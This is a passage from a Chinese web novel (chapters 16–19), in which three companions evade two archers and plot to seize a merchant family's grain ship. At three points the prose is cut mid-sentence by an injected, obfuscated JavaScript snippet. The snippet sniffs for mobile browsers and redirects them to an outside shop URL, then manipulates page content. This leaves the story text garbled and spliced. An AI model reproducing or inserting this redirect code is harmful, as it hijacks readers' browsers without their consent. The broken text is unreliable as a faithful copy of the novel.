他正要回头，忽见旁侧灌木中拱出一个黝黑的脑袋…… 16. 交锋 燕风再醒转时，感觉恍若隔世。 船行水中的晃荡感消失了，取而代之的是坚硬的实地。她双手拍了拍身侧，空荡荡的，恍惚记得之前江鱼是挨着她睡的。 燕风心头狂跳，蓦得睁开了双眼。 还好，腰上系的包裹里，珠宝金银还在。再抬头，入眼是爬了青苔的岩壁，这是个不宽敞的岩洞。 “燕哥你醒了？”江鱼的声音。 燕风朝那声源转头，见江鱼在岩洞里猫着身子，专心致志地研究钻木取火。 “你这一觉睡得太久。咱们的筏遇到了岔路，陈哥说不好自作主张，就先停下来休整休整。他正好出去打点野味路上吃。” “他出去多久了？”不知道为什么，燕风心里总是有些发慌。 江鱼放下手里不争气的木棍，朝洞外望了望。 “还真是挺久了。陈哥说他想早点回来，趁着天还没暗，生火才不会在林子里显眼。现在日头都快下了，我的火还没生好，他人也还没回。” 燕风心下的不安愈沉，连忙起身，拉起江鱼的手，道：“走，我们出去找他去。” 刚出洞门，正撞上一身狼狈形色匆匆的陈青。 “陈哥，野味呢？”江鱼见他两手空空。 陈青抓了她俩的手，急往搁竹筏的地方奔去。“说来话长，路上说，咱们赶紧走。” 待把竹筏放下了水，燕风一竿撑离了水岸，众人才稍稍安下了心。 江鱼边学着燕风撑船，边忍不住打断道：“陈哥，你武功那么好，当时为什么不一开始就出手，干什么要跑？” 陈青仰躺在筏子上，喝了一大口水润润喉，才接着道：“对面有两个人，我不清楚他们的底细，不敢贸然动手。何况我也不知道他们还有没有别的帮手，抓紧回来通知你们才是正经。” 燕风：“那小野猪还挺神的，竟然第二次逃出来了。” “不一定就是你遇到的那只。不过当时事出紧急，我也没办法，就抽了它一下，赶它往另一个方向跑，我自己悄悄藏了起来，等到他们都追着野猪跑远了才回来。对了，燕风，那小野猪有什么特征吗？” 燕风：“让我想想。当时天太黑了，瞧不太真切。” “是不是有快五尺来长，全身的毛油光发亮，黑得发红，有俩尖牙，头顶还有一小撮白毛，还喜欢翘尾巴。” 燕风一拍脑袋：“真是这么回事儿。哎，江鱼你怎么知道？” 面向南面撑水的江鱼，不知什么时候停了桨，她回过头苦着脸：“你们管这叫‘小’野猪？” 她身后，一个顶着白毛的大黑脑袋泅着水，摇着尾巴，欢快地正往这边游来。 陈青见状立即要起身，却被一旁的燕风悄悄按住。 陈青顺从，但也轻声提醒：“这野猪在这儿，那两人必定也不远。” “我知道，我听到他们了。不要回头，岸边落后我们约百丈，跑着的就是。” 燕风仍旧撑着桨，面上尽力做出镇定的样子。 “怎么办？那高个子箭术可十分了得。” 陈青这担忧迫在眉睫：空荡荡的水面上一览无余，只有他们一条慢悠悠的小筏。 燕风朝陈青点点头，两步走到筏子的另一头，把被吓僵了的江鱼轻轻扶倒。 “燕……燕哥，”江鱼瞪大了眼睛，终于说出了句整话，“野猪吃人的吗？” “好似听说过。”燕风实话实说。 在江鱼一口气厥过去前，她又轻轻捏了捏江鱼的手，“你信我不？” “啊？” 江鱼眼角瞟着那越来越近的巨型小野猪，心里咆哮：信你什么？信你这时候还会开玩笑，还是信你真听过野猪吃人？ 但嘴上还是老实道：“自然，自然是信的。” 燕风轻轻地把她的脸掰过来，笑着朝她眨眨眼：“那就别担心。只是接下来有几个问题，你可要好好答。” * 鲁二个儿高，先看到了河上的那条竹筏。 “哥，你看！那有三个人。” “怪事。这鬼地方除了我们，还有谁敢来。” 矮骆山附近血煞重，闹鬼，这事儿陇地百姓都知道，连带着整个陇地北边都少有人烟。 “会不会是刚才偷听咱说话的那个？”鲁二问，“哥，你看清了吗？真是那跑掉的小畜生？我咋觉得是个人呢，哪有猪躲角落听人说话的，那不是成精了？” 鲁大道：“可不就是成精了。山里跑这么多年，头一见能从精铁笼子里跑出来的野物。再说了，刚才那东西遁得那么快，连我都追不上。这山邪乎，有点什么也不奇怪。老二，你听哥的，有一有二不能有三，那畜生咱不追了。能跑掉的都是在山神老爷那有过数的，开罪不起……” “那畜生的事儿先放一边。” 鲁二不耐地打断了鲁大的唠叨，“不管这三人是什么来头，这筏子我是要定了。免这一路上上下下，省不少力。” 短弓是手里现成的，箭在背囊里密密麻麻还有一大捆。再说了，这种距离下射杀那毫无防备的三人，对他来说简直是麦地里抓王八，十拿九稳。 鲁大连忙上手要拦：“老二，别冲动！万一那三人中有一人便是那自称性孙的蟊贼呢？那人可不好惹，连王爷都敢劫，咱们兄弟二人莫出这个头！” 鲁二心下不服，方才说我胆子小的是你，现在拦着不让我出头的还是你，哥年纪大了越来越像个娘们，啰嗦！ 他冷哼道：“哥你怕什么，难不成信不过我的准头。再说了，就算我失了手。那筏子离岸还有好几十丈，等他们下了水再泅过来寻仇，你还怕咱跑不脱吗？” 恰好起了风，那筏子顺着风又轻飘飘的远了好几丈。 鲁二怕误了时机，长手猛地绕过鲁大的短胳膊，从背囊里抽出短箭就要起势。 鲁大还想说什么，但嘴快不过手，只听咻的一声，箭已经离了鲁二的手。 这次又是三箭齐发，正对上筏子上或躺或站的三人。 短箭离弦的声音待传来已是极细小，但对于全身处于戒备紧绷状态的陈青来说，不啻一道惊雷炸在头顶。 这么近的距离，又是在水上，他再强的身手，再快的反应力，也只来得及闭上眼睛在心里喊一句吾命休矣。 不知过了多久，想象中的剧痛没有来。 他睁开眼睛，却见方才还背对着他，拉着江鱼不知在说什么的燕风，什么时候已经转过了身。 她正一手把玩着一支短箭，一手甩着发酸的腕骨，冷笑着抱怨：“力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485522|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺大。” 岸上鲁二的笑容瞬间僵住。 方才，方才，他明明…… 那箭是准的，灌注了他七八分的力气。这么短的距离，平时可以轻易贯穿一头成年麋鹿的胸腹！却连那人的衣角都没碰到便在途中凭空改道。 两支簌簌落在了水里，一支在空中拐了个弯，轻飘飘落在那人的手上。这种诡异的功夫，便是王府上最不可一世的高手，也完全不敢想象。 难道这世上真有本事通天的鬼神？ 鲁二浑身寒毛竖起，但纵使心中惊惧如狂风骇浪，只凭着一口气和身体趋利避害的本能，他长手作势又要拉开三只短箭。 然而他睁开的那只眼睛还没能在跳动的眼皮下瞄准方位，却惊恐的看到那人掂起手中的短箭，玩笑般朝自己轻巧掷来。 那短箭起初是缓慢的。但在某种可怕的力量下，在空中越转越快，到最后竟带着令人窒息的死亡气息，笔直的朝自己心口冲来。 “老二！”鲁大大吼一声，转身朝弟弟扑来。 砰！ 两人重重倒地。 鲁二魂魄归位，试着呼了一口气，并没有被利箭刺穿心脉的痛感。鲁大压在他身上，生死不知。 “哥，哥？”鲁二红了眼眶。 鲁大睁开了迷蒙的眼睛，望着弟弟，呜呜地开始流泪。 鲁二开始哭：“哥，你怎么这么傻啊。是我活该，你救我干嘛啊！家里还有嫂子和侄儿啊！” “你是我唯一的弟弟啊。”鲁大也哭着回道。 兄弟俩一个赛一个，起初还是呜咽，后来一个赛一个地大声，中气十足，鲁二这才想起来问：“哥你伤到哪里了？” “我也不知道啊。” 两人起身窸窸窣窣地查看，这才发现，那箭只是擦过鲁大穿着鞋的脚底板，带走了他脚小拇指上一小块令人牙酸的皮肉。 再看筏上那始作俑者，仍旧撑着桨，远远地冲他们不怀好意地一笑，好似在说：“抱歉，失了准头，让你们白哭一场。”他脚边的水面上，一只头顶白毛的黑脑袋亲昵地拱着，尾巴在水上摇来摇去。 鲁家两兄弟气得牙痒，但鲁二终还是放开了紧握短弓的手，再不敢发出一箭。 仍仰躺在筏上的陈青，靠着自己灵活移动的眼球目睹了一切。 燕风有些不同寻常的本事，他是知道的，但今日的见闻还是让他大吃一惊。不过比起这些，他瞥了一眼自从和燕风说完话就缩在角落，专注于把自己和竹筏融为一体的江鱼。 他有几个更大的疑惑：“你们方才说了什么？又为什么不对那两人斩草除根。万一他们叫了帮手来怎么办？” 燕风也看了一眼江鱼，哑然失笑：“鱼弟，我说了那小野猪不咬人的。” “你怎么能保证，你也不是它肚子里的蛔虫！” 江鱼飞快的从膝盖窝里抬头看了一眼,见那野猪还在，又马上缩了回去。 燕风笑着摇了摇头，转头对陈青道：“也没说什么，打听了一些找粮的路子。我还怕他们两个不追了呢。” “什么？” “鱼弟，陈哥，咱们计划有变，你们听我说…” 燕风冲他俩招了招手，平日习惯性微蹙的眉眼，少见地闪过一抹促狭的笑。 17. 孙为 括州府青桥县自古以来便是个不起眼的小地方。 这地方多山，但这山也不是什么名川秀峦。还因为这多山的地形，青桥每年的粮产大不如东南边的松，苏，常，嘉四县。除去赋税，只能将将养活这一方百姓。 这样一个不咸不淡的地方这几年却有些起色，背后的缘故说起来还有些还和宗谦有些关系。 当年昭明帝“北狩”被北蛮子俘虏了，边瓦人挥着大靖百姓的脑袋一路畅通无阻地打到了帝都跟前。等到各路边将受太后诏令急奔回都，时局实危矣。 全国近半数精锐早先已经在北地被尽数坑杀，连带着国库里积蓄了几年的银粮也都付之一炬。 要打守城仗，得有兵马粮草。 宗谦作为帝国当时仅剩的武将中地位最高者，临危受命成了这场国运之战的最高指挥官。他当机立断，急遣各地府兵进京赴战，又许下丰厚回报，号召天下粮商运粮入京。 如此一号，毗邻瓯水，又位于燕京和东南产粮大县中间的青桥县登时成了运粮枢纽。 朝廷从来抑商。但那年，从前不敢现于人前的吃水重船，一艘接一艘地打青桥县过，连带着这方土地都活络了起来。 宗谦燕京一仗幸不辱命，依诺请旨新帝全了恩赏。 商帮吃到了甜头，不肯轻易折了这项财路，逐渐在青桥县四周建起来了水运仓储和河渡，靠着四通八达的瓯水连接东西南北商运。 而朝廷因为这大笔的税收，便也对一艘艘大船睁一只眼闭一只眼。 幸而青桥当地人以汹涌的瓯水为不详，多以宗族聚集在离河较远的山丘间自垦梯田为生。商帮和当地人，两方至少是面子上也是相安无事。 但私下的龃龉自是不断，其中闹得最大的便是周秀才案了。 据江鱼的说法，周姓是青桥县本地的一大姓，周秀才家便是其中一户。他家有个妹子，据说生得花容月貌，可惜一次偶然，被路过的孙家少爷看上了。 那孙家是从浙江南边新搬来的富商，颇有些家资，养出的少爷孙为是个胆大妄为，丧尽天良的人渣。 孙为见了美色便使了把戏把人掳来，作了孽后还要了人命，要了人命后竟然还把遗体衣不蔽体地扔到了早市的街头，简直是无法无天，人神共愤。 周家自然是不肯罢休，周秀才在本地也算是有头有脸的人物，他纠集了族里的一干青壮去县里讨个说法。 此案人证物证俱在。本以为对方再有钱也不过是个商户，案子不难结。 没想到那县衙各种忸怩，虽不敢明确出言偏袒，但也端着能拖几时便拖几时的态度消极怠工。孙家则更是恶劣，只都当作无事发生，那案犯孙为竟连县衙的大门都没踏进去半步！ 事情到这里还算寻常：有钱人欺男霸女，贪县衙收钱纵容。太阳底下没有新鲜事儿。 虽则影响恶劣，但也仅局限于周氏一族，但接下来的发展便有些野马脱缰。 周秀才气不过，他放出狠话：他从前去府试，院试考秀才，结识了不少人脉，这案子若县里执意包庇，他就去上告知府，若仍不得解决，他便去上告巡抚，定要让那恶人给他妹子偿命。 未曾想，他放出狠话没几天人便失踪了，这才使得全县震动。 周秀才毕竟是个有身份的秀才，不比没名没姓的田舍汉或是小女子。 县里各宗族的乡绅惊觉本地的县府治安竟已贪腐至此，连区区商户都敢如此明目张胆地谋害在省里都录了名的秀才。他们人人自危，同仇敌忾，纷纷自找门路上书求助。 那阵子县里的说书先生都赚疯了。 据他们说来，周姓，陈姓，王姓，徐姓，本地四大族耆老都被惊动了，那谁谁谁的后人，谁谁谁的姻亲，谁谁谁的老师都加入了声讨的队伍，八仙过海，各显神通。 人们口口相传，上到八十岁老妇，下到垂髫儿童，谁都知道：等着瞧吧，姓孙那商户马上要完了，连带着县里的知县老爷说不定都要被连带着问责！ 人们翘首盼着，却迟迟传不来消息。 周家的人在县里掘地三尺，还是没找到周秀才的丝毫踪迹。而孙家的船，在外乡船工的嘿咻声中，在瓯水上没耽误过一天。 过了一段时间，这事儿的声势渐渐熄了，县老爷才和终于想起来了似的，开始审案。 但这案子的结果让人惊掉下巴：原先指认是孙家人哄了周小姐离家的几个人证纷纷改口，说是从前收了周家的银子撒了谎，其实从没见过孙家的少爷，所以对孙为的指控便只能不了了之。 而后周秀才的失踪案，由于至今也没寻到尸体，自然也没了下文。县老爷话里话外甚至还有周秀才诬陷孙少爷畏罪潜逃的意思。 这案便这样审完了。 至于那孙为，从头至尾都没现于人前。 围堂的百姓听得目瞪口呆，但看那从前打头阵的四大姓的子弟也没个吱声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485523|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，于是窃窃私语几句也都茫然地散了。 又过了一段时间，据说是一个在孙家做活的外乡来的年轻船工醉了酒，在小酒馆里哭诉。 他说他怕是活不久了：他从小耳力就比旁人强些，之前有次行船，他老觉得船的底舱里好像有人在喊救命，他胆小怕事便告诉了船老大。结果船老大骂了他一通说他发羊儿疯昏头乱说什么，果然第二天就听不到了。那时正是六月天，不久他就觉得从船底传来了些臭味…… 本来他也没放在心上，但船老大前段时间突然暴毙，紧接着周秀才案又草草收场。他稍稍一联想，便有了个可怕的猜想…… 船老大既已经被灭了口，而那日他和船老大抱怨底舱的怪声的时候也没避着人，下一个恐怕就该轮着他了。 于是他越发惶恐惊惧，总觉得有人跟着自己。 他本想着不做了回乡去，但转念又觉得回去路途遥远，荒乡僻壤正好给了贼人可乘之机，到时候死了也没人知道，说不定也像那秀才一样无声无息烂死在船里。 酒馆里众人听了无不出一身冷汗，平日里那些喝了酒便吆五喝六的汉子们听了也默不作声。 年轻船工见了心灰意冷，不再多言回了住处 再后来也没了消息。 在这之后，又有一不知道从哪里传来的传言，说孙家在上头有大人物撑腰，是以往来那么多家商船只有他一家不用接受各地官渡的层层盘查，畅通无阻。 各家各户上了年纪的男人们聚在一起抽烟袋，掰着指头数当今朝廷里位高权重的都是哪些大人。列出来一看，果然内阁里有好几位姓孙的大人，连皇城里也有不少姓孙的内臣。再结合本地那四大姓乡绅子弟的集体噤声，大家你看看我我看看你，还有什么不明白的。 一些上了年纪的女人们，则一改从前义愤填膺的态度，凑在一起嘀咕，那周小姐说不定做了什么事惹怒了贵人，才落得如此下场。若换了年轻时的她们，怎么不算一场改命做主子的机缘呢？ 唯有不懂事的年轻人天不怕地不怕，走南闯北时到处说与人听。 万一这些听众里恰好有个大人物呢，万一这个大人物又恰好爱多管闲事打抱不平呢！ 燕风并不是个大人物，她也绝不是爱打抱不平的人。 她只是发觉用船运粮不易，处处都需要路引过关，她需要一艘可以逃脱盘查的商运重船。 而这个故事里的孙家，恰好就有。 18. 二公子 四日前，燕风三人在渭水下游分了两路。 他们买了两匹马。陈青和江鱼共骑一匹先去了别的府县把首饰绸衣换成银票，再随流民混入青桥县。燕风则日夜兼程直往青桥县赶，趁夜色跃进城里，比陈青一行快了足足两日。 陈青和江鱼到青桥县后，立马去了那家他们事先约定好的客栈。进去时是两个面目模糊的小乞丐，出来时便成了一个器宇不凡的贵公子和他的小厮。 那小厮是大大方方地从客栈大门出来的，而那贵公子则悄悄跳了窗，一阵腾挪才在不远处一个屋檐下和另一个面目模糊的流民擦身而过，过后怀中便多了一封名帖并一张纸条。他细细读过才又拐了几个巷口与小厮汇合。 “可见到了？”小厮到了人声鼎沸的闹市口才敢轻声问。 走在他前左侧方那贵公子神态自若，轻轻回了一声：“嗯。” 江鱼松了口气，偷眼去瞧。 都说是人靠衣装马靠鞍，见了如今的陈青，才知此言不虚。不对，该是互相成就才是。明明是在瑞林庄一起挑来的衣服，穿在他身上连材质都好似上了一个档次了。 这个人，仿佛生来就该穿好衣裳。 江鱼耳廓发红，愈发低头小步快走，不像个小厮，倒像个谨小慎微的侍女。 陈青瞥她一样，微皱了皱眉头，可千鹤楼转眼已到了。 他稳了稳心神，领着江鱼大剌剌抬着长腿直奔二楼。 * 京城有个万鹤楼，有人便依样在这建了个千鹤楼。 千鹤楼共三层，一楼的价格稍贵但还算亲民，可供寻常散客餐食，二楼的单间更贵些，本地的大商户谈事多选这里，三楼则是私人所有，并不对外。 孙颜二此刻正带着他外甥兼下手，孙李大，在二楼的广聚阁候着。 孙李大站在孙颜二身后，又紧张又兴奋，双手垂在两旁微微发抖；孙颜二也没好到哪里去，脑子里一遍遍理着稍后的流程，坐着撇茶沫，手汗把杯盖浸得发滑，险些拿不住。 这一趟本轮不着他俩来。 但那金家的遣了人，说是今日他恰巧有些空闲，想赶紧把买粮的事了了。竟是问都不问一声，直接下了通知，如此不把人放在眼里！ 饶是出了名的笑面虎，孙大老爷孙伯逸刚收到消息时还是默了默。 他回书房取了过去的账册，仔细回忆，才想起这金家的话事人他是见过的，北方来的富商，去年从他这买了一批粮食，身家虽厚，但背后没什么靠山，所以行事上也没什么锋芒，对比起来甚至算得上老实巴交。什么时候敢有那么大的排场了？ 虽说如此，但这世道变得快得很。 金家在北边，不比这南边的小地方，近水楼台，攀上了什么贵人也不稀奇。可偏偏是今日…… 孙伯逸正在为难时，孙颜二凑了上来，自告奋勇要给主子分忧。 孙颜二本家姓颜，家中行二。自到了孙家做事，带着外甥李大一起把姓都改了，至今已有五年，也算是可靠机灵的自己人。金家这单也不是多大的生意，孙伯逸想了想，叮嘱了几句就答应了。 这厢孙府的两人还在踌躇，忽听得一阵邦邦的脚步声，激的楼里的木板也吱吱作响。 孙李大刚想着什么时候这大酒楼里的木板也开始松动了，广聚阁的门就被推开了。 一个面容英挺，身姿卓然的年轻人大步走了进来。 他一来就熟练地坐在了主座，大手端起他位子上的茶杯一饮而尽，尤嫌不够，拿饮空的杯子急促地敲了几下案沿，眼风觑向身后跟进来的小厮。后者连忙接过续杯。 如此两杯冷茶下肚，那年轻人才似刚看到屋里还有一坐一立两人似的，理了理微有些发皱的袖口，直视着坐着的孙颜二。 “怎么称呼？” 一句话噎得孙颜二把在脑子里过了百遍的寒暄之词都咽进了肚子。 他皱起脸尬笑道：“呵呵，这位想必就是金公子了，您叫我孙管事就成。” “别！” 陈青一手张开近乎覆到孙颜二额前。 “孙管事，我虽是代表着金家来的，但我可不姓金，你就叫我二公子吧。” 孙颜二心道，如此狂放不羁，果然不是金家这座小庙。 他陪笑着道：“这多失礼，公子起码也该告知小的您贵姓。” 陈青举着杯子觑了孙颜二一眼，“你打听我身份做什么？” 这一眼盯得孙颜二后背冷汗直流。他这才想起，那些传言中的京城贵人出来做事最忌讳暴露身份，且多性情乖张。他眼神落到对面这青年鼓起的肩臂，心里默默还加了一句：武德充沛。 刚要开口解释几句，却见对方从怀里掏出了名帖，又啪啪拍出几张大额银票。 那青年满不在乎地道：“废话少说。这是信物，这是定金，如此交易就算成了吧。” 孙颜二忙小心拿起，细细验过：那名帖确是双方约定的信物不错，那银票也是货真价实的四百两银子。双方约定的是五百石稻米，共计白银一千两，四成定金，这数是准的。 这事儿就成了？ 孙颜二总觉得快了点，嗫嚅着正想说些什么，忽听得身后的外甥李大开了口。 李大本就有些尖细的嗓子此时因为紧张显得有些滑稽：“二公子豪爽。只是您有所不知，漕运这事儿可说不准，天灾么比如水患，人祸么比如水贼。自然呢，您既然选择了我们孙家做中间商，便是信任我们。这一片儿谁人不知谁人不晓，我们孙家家大业大，且做生意最是厚道。这其中风险我们自然是一力承担。只是……” “什么意思？”陈青微抬了抬头，瞥了眼说话的李大，目光又扫回到孙颜二身上：“嫌钱不够？金家的可没和我提。” 对方问得直白，倒使得李大有些发窘。 孙颜二忙笑呵呵地打圆场：“二公子这话说得。我这伙计是新来的，还不太懂事。金家给的是大单子，又是老主顾，哪里能如此见外。钱自然是够的，呵呵。” 李大见舅舅退了步，顿时急了。这要钱的话术也不是他一时冲动，是他舅甥两人早就商量好的：若是来了不懂行的公子哥，自然是能敲一笔是一笔，反正这些爷也不差钱，转个头一准就忘。 他刚要开口再说，却发现孙颜二放在案板下的手死死拽了几下自己，只好住了嘴。 陈青把这两人底下的官司看得一清二楚，挑了挑眉毛，嗤笑一声：“孙管事也爽快，这样吧，我来得匆忙，等运粮的商船到了我们约定的码头，除了尾款，自然少不了你们的好处。” 说着又从袖口摸出个珠子，轻轻一弹，正射到孙颜二半满的茶杯里。 “喏，这小玩意儿赏你了，不值什么钱，把着玩吧。” 不等他们回话，便马上起身带着小厮推门走了，邦邦的脚步声一如来时气势不减。 他一系列动作太快，等都下了楼，孙府俩人才反应过来，赶紧从杯子里捞出那颗珠子。 两人围成一圈，用袖口擦了又擦，对着日光一看，真是一颗上好的南珠，价值不菲。 正啧啧惊叹时，那公子又折了回来，扶着门框。 “哎，对了，粮船什么时候能走？你们这地方没意思，我赶着回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485524|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 孙颜二忙收起珠子，陪笑道：“自然，自然。粮食都是仓库里现成的，只是毕竟是趟远门，组织船工和镖师需要费些功夫，最早后日一早就能出发。” 他刚收了好处，自然想着卖点力气。 “行，说定了，那就后日一早，我随船一起走。”说完他才真头也不回地走了。 李大走到门边，确认那主仆下了楼梯，才掩上门，回头和颜二抱怨。 “舅舅怎么就这么轻易答应了。您方才坐着看不清，我站着可看得一清二楚：这公子肯定是个花肠子草包。您看他随便一摸就是颗大南珠，咱们再激他一激，什么好处拿不到。” “怎么说？”李大生性懦弱，颜二还极少见他这么笃定的时候。 “舅舅可别笑我，我李大从小花楼里泡着长大的，别的不行，就是看女人在行。方才那二公子身后那小厮，分明就是个女的扮的。你看他出远门谈正事都要带个女人，能是什么精明强干的好货色？” “我道是什么，就这？” 颜二跳起来狠戳了外甥的脑袋：“贵人们有什么癖好，是你我能管得着的？你以为人人都是像你似的？” “李大啊，我知道你想什么。可人不能短视，钱不钱的都是次要的，若真是开罪了人，我看你有几条命？你如此自以为是，三年前的教训，我看你是全忘了。” 李大本还想再辩几句，直到听到最后一句，立时像挨了霜打的茄子，蔫了。 再说陈青一行。 出了千鹤楼后，江鱼先进了巷口，再出来时牵了两匹马。 陈青大力掸了掸鞍上的灰，翻身一跃上了马，十分招摇的沿着闹市快马出了城。不过因为他骑术精良，虽引得一路惊呼无数，但也都有惊无险。他身后那个小厮则内敛得多，牵着马一路小跑跟上，等出了城才上马紧跟主人。 城外山树相阻，不一会儿两人就消失在了城中人的视野中。 出了城又拐了几道弯，两人先把马在山间一隐蔽处系好，又绕回来城门附近的一座小山，猫着腰进了山中的一门小洞。 这山洞洞口虽小，里头却大有乾坤。两人猫着身子在甬道里走了数十步，眼前豁然开朗。 这是个长宽都约三丈的小石室，最难得的是头顶上有个约一个人头大小的‘小窗’，日光从上头落下来，正好照亮洞里一小方天地。而燕风正坐在这亮光里等着他们。 “这地方真不错，难为你竟能找到。”陈青笑道。 另一边江鱼早已扑过去紧紧抱住她，又哭又笑：“你不知道我们有多顺利！孙家答应了后天一早就发船，整整五百石粮食。全靠你！不过才比我们早到了两天，你竟然做成了。你是怎么拿到金家的帖子的？正主不会过几天就到了吧，到时候咱不就露馅儿了？” 燕风不自在地偏过了身，有些不好意思。 “倒也没什么难的。行商的都迷信，稍微吓一吓就原路返回了。这两日你们就辛苦点躲在这里吧，后天我也扮小厮一起上船。我存了点干粮，别嫌弃，就这个放得久。哦对了，这洞里还有条暗河，水质还行，可以洗漱，但要喝的话记得要烧开。我今晚下半夜回来一趟，到时候给咱们带点换洗的衣服。船上不比地面上赶路，老穿一套要露馅儿的。” 江鱼乖乖听着，时不时点头，又见燕风抽出了弓箭和匕首细细地擦，忍不住问道：“你出去找衣服带这些做什么？就算是偷也没必要带这些吧？” 燕风停下来整理的手，看看这个又看看那个，叹了口气。 “还是得让你们知道，这事从现在开始才是重头戏。” 19. 古怪 与此同时，青桥县城内，悦来客栈一间临街的二楼客房窗户紧闭。 两张颇为相似的脸，在昏暗中相对。 鲁大：“真是怪了，当初那案子闹那么大阵仗。可咱们暗地里问了这大半日，茶楼酒肆、街边摊贩，竟愣是没一个人敢拍着胸脯说，亲眼见过那位孙少爷本人。” “谁说不是。莫不是……莫不是，见过本人的都已经被”鲁二手引到脖颈前，“嘎了？” 鲁大好笑道：“老二，你又自己吓自己。这么大的个子，胆子却那么小。” “我胆子小？”鲁二瞪眼，“你胆子是怎么长的？你是没亲眼瞧见，还是瞧见了不当回事？那河上，竹筏子那个人……那能叫寻常人吗？那箭！脱了弦之后，在空中硬生生能拐个弯！这他娘的是人能射出来的箭？指不定就是什么山精水怪，或者练了邪门功夫的！” “我不是说过了吗。那个人决计不可能是孙为！哪有上赶着自报家门得罪人的，再说青桥县离咱们那儿那么远，什么仇什么怨让一个连本地人都见不着面的富家公子千里迢迢去涉险？” “再说了，可不是我一个人这么想，裕王大人也定是这么认为的！不然怎么听了咱兄弟那番话，还是只叫我们兄弟二人来寻这姓孙的画像呢？一定还派了其他好手往别的线索入手了。咱俩这趟至多是多一重保障罢了。” 这一番话说得条理清晰，鲁二听了也稍稍松了口气：“听你这么一说，我心里是踏实点了。可这画像，唉，无从下手啊！” 就在此时，一阵轻微的的叩门声响起，“笃、笃笃”。 兄弟俩立时噤了声。 “谁啊！”鲁大粗着嗓子问道。 回的是一段模糊不清的应答，只依稀像个女声。 鲁大走上去一把拉开了门，门外一个挎着菜篮的中年妇人探进头来。 “我听刘婶子说，你们在打听徐三儿，如果能寻到他还有赏钱的？” “正是正是！婶子可有消息？” 周秀才案中，徐三儿正是后来翻供说没见过孙少爷的人证之一，鲁家两兄弟也算是病急乱投医。 “若是领你们去，能给多少？”那妇人问道。 “若真能见到。两百贯，怎么样？” 妇人略思索了会儿，咬着牙：“成交！” “婶子怎么称呼？”鲁大随口问道。 “打听这个做什么。记着了，我不认识你们，你们也从没见过我。” 鲁家兄弟对视一眼，这才放下心来。 * 孙府内。 “大伯！”孙照霖一路小跑。 “怎么样，抓到了吗？”孙伯逸一把抓住朝自己奔来的侄子。 孙照霖摇了摇头。 “但也不是全无收获。我按大伯您的吩咐，给城中几伙形迹可疑的下饵。其中确有一伙上了钩，陈大娘把他们引到了我们埋伏的地方，但那两人功夫实在太好，一个擅使弓箭，一个脚上功夫了得，结果被他们跑掉了。虽则如此，陈大娘子在他们门外听到了只言片语，说什么‘其他好手’，‘他们这趟多一重保障’之类的话。” “看来昨夜只是试探，他们是不会罢休的。” “大伯，这伙人是什么来路啊，功夫都这么好，寻常的家丁不顶用。” “这我哪清楚，但你也明白，咱们这位……哎，什么人来都不稀奇。”孙伯逸心口发堵，自觉这几年头发都去了不少。风一吹，脑袋冷心里更凉。 孙照霖哪能不明白自己大伯的苦处：“是，早知道三年前咱们当初就不该……” “霖儿，慎言！”孙伯逸急忙捂侄子的嘴，环顾四周，才悄声道：“开弓没有回头箭，咱们当务之急，是保护好贵人。” 孙照霖宽慰：“大伯，您也莫要太过焦心。先前重金礼聘的那两位师傅，武艺高强，名头响亮，有道是一分钱一分货，有他们坐镇，定能保得无虞。” 孙伯逸叹了口气：“但愿吧。” * 岩穴里，燕风拿起一支箭粘了点水在地上画。 “简单来说，这里是青桥县瓯水渡口，这里金家和孙家本来约定交货的渡口，这里是陇地的渭水和瓯水的交界处。只要到了陇地，因为裕王的影响，咱们就安全了。而在到达这个交界处之前，我们必须让粮船某个时间段偏离原来的路线，走我们想要它走的路。” “为了达到这个目的，有两大阻力：第一，沿路官渡的盘查，有孙家这块招牌，我料想不会太难。第二，船上的其他人，这也正是我忧心之处。” 江鱼皱眉：“燕哥，他们如何能听我们摆布？你不会是想全杀了吧？” 燕风正色道：“自然不是。我们最多是贼。那些船工都是无辜之人，若为了几百石稻谷害人性命，和那狂徒孙为又有何区别。” “所以你之前对裕王府那两人轻轻放过，是想让裕王给我们做替罪羊？”陈青问。 “正是。不管我们之后是装神弄鬼也好，威逼利诱也罢，待到东窗事发，总得找个人替我们担这个责。再说了，粮从他的地界过，他会不会起歹心也难说，我们提前把这罪责套在他的头上，也不算冤枉他。” 说到这，她顿了顿：“此外，还有一事。这个孙府是有些古怪的。” 两日前夜里，燕风一到青桥县便直奔了孙府。 她尾随孙大老爷，轻易就进了府中的书房，里头账册书信应有尽有。她便是在那儿看到了所有孙 